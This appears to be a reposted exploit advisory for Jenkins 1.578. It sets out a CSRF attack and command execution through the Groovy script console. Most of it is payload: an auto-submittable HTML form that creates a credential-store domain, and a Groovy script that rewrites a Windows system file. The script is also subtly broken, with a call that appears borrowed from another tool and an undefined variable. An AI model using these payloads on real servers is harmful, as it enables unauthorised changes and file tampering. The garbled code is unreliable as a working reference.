Jenkins 1.578 Cross Site Request Forgery / Command Execution

#Affected Vendor: http://jenkins-ci.org/
#Date: 03/09/2014
#Discovered by: JoeV
#Type of vulnerability: CSRF and Command Execution

#Tested on: Windows 7
#Version : 1.578

#Description: Jenkins is susceptible to CSRF attack and command
execution. Using groovy one can fire any command and get it executed
by the script console thus able to access files, registry keys, values
and folders which is outbound for Jenkins.


#CSRF

--------

#Payload:

<form method="POST" name="form0"
action="http://localhost:8090/credential-store/createDomain">

<input type="hidden" name="_.name" value="xyz"/>
<input type="hidden" name="description" value="abc"/>
<input type="hidden" name="json" value="{'name': 'xyz', 'description': 'abc'}"/>
<input type="hidden" name="Submit" value="OK"/>
</form>


Command Execution (/script)
-------------------------------------
ArrayList pids = null
PrintWriter writer = null

File f = new File("C:/Windows/System32/Services.msc")

if (f.length() > 0){
   pids = new ArrayList()
   f.eachLine { line -> pids.add(line) }
   println("Item to be removed: " + pids.get(0))
   testRunner.testCase.setPropertyValue( "personId", pid )
   pids.remove(0)
   println pids
   writer = new PrintWriter(f)
   pids.each { id -> writer.println(id) }
   writer.close()
}
else{
   println "Null"
    }

-- 
Regards,

*Joel V*

#  0day.today [2018-01-03]  #